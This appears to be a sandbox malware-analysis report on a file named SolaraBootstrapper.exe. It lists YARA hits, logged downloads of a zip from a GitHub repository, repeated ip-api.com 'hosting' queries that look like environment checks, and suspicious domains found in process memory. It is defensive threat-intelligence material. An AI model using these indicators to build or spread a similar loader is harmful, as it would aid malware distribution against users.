Source: Yara match	File source: 1.2.SolaraBootstrapper.exe.401867.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.SolaraBootstrapper.exe.411867.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\ProgramData\Bootstrapper.exe, type: DROPPED

Source: global traffic	HTTP traffic detected: GET /quivings/Solara/raw/main/Files/Solara.Dir.zip HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /quivings/Solara/main/Files/Solara.Dir.zip HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v2/client-version/WindowsPlayer/channel/live HTTP/1.1Host: clientsettings.roblox.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /quivings/Solara/main/Storage/patched.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 208.95.112.1 208.95.112.1
Source: Joe Sandbox View	IP Address: 140.82.121.4 140.82.121.4

Source: Joe Sandbox View

ASN Name: TUT-ASUS TUT-ASUS

Source: Joe Sandbox View	JA3 fingerprint: bd0bf25947d4a37404f0424edf4db9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: ip-api.com
Source: unknown	DNS query: name: ip-api.com
Source: unknown	DNS query: name: ip-api.com
Source: unknown	DNS query: name: ip-api.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /quivings/Solara/raw/main/Files/Solara.Dir.zip HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /quivings/Solara/main/Files/Solara.Dir.zip HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /quivings/Solara/main/Storage/version.txt HTTP/1.1User-Agent: SolaraHost: raw.githubusercontent.com
Source: global traffic	HTTP traffic detected: GET /v2/client-version/WindowsPlayer/channel/live HTTP/1.1Host: clientsettings.roblox.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /quivings/Solara/main/Storage/patched.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: msedgewebview2.exe, 0000003A.00000002.1700316486.000036980001E000.00000004.00000800.00020000.00000000.sdmp

String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: raw.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: ip-api.com
Source: global traffic	DNS traffic detected: DNS query: clientsettings.roblox.com
Source: global traffic	DNS traffic detected: DNS query: 198.187.3.20.in-addr.arpa

Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://129fy.ie.chalai.net
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://511sllqdkj.yc.anhuang.net
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/1423136
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2162
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2517
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2970
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3078
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3205
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3206
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3452
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3498
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3502
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3577
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3584
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3586
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3623
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3624
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3625
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3832
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3862
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3965
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3970
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4324
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4384
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4405
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4428
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4551
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4633
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4722
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4836
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4901
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4937
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5007
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5055
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5061
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5281
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5371
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5375
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5421
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5430
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5535
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5658
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5750
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5881
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5901
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5906
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6041
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6048
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6141
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6248
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6439
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6651
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6692
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6755
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6860
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6876
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6878
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6929
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6953
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7036
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7047
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7172
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7279
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7370
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7406
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7488
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7553
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7556
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7724
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7760
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7761
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8162
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8215
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8229
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8280
Source: SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertCSRSA4096RootG5.crt0E
Source: SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/NETFoundationProjectsCodeSigningCA2.crt0
Source: smss.exe, 0000002D.00000002.1539162288.000000000298E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ch02463.tw1.ru/
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://click.dotmap.co.kr/?pf_code=
Source: powershell.exe, 0000000B.00000002.2919502588.0000017149227000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.v
Source: SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertCSRSA4096RootG5.crl0
Source: SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/NETFoundationProjectsCodeSigningCA2.crl0F
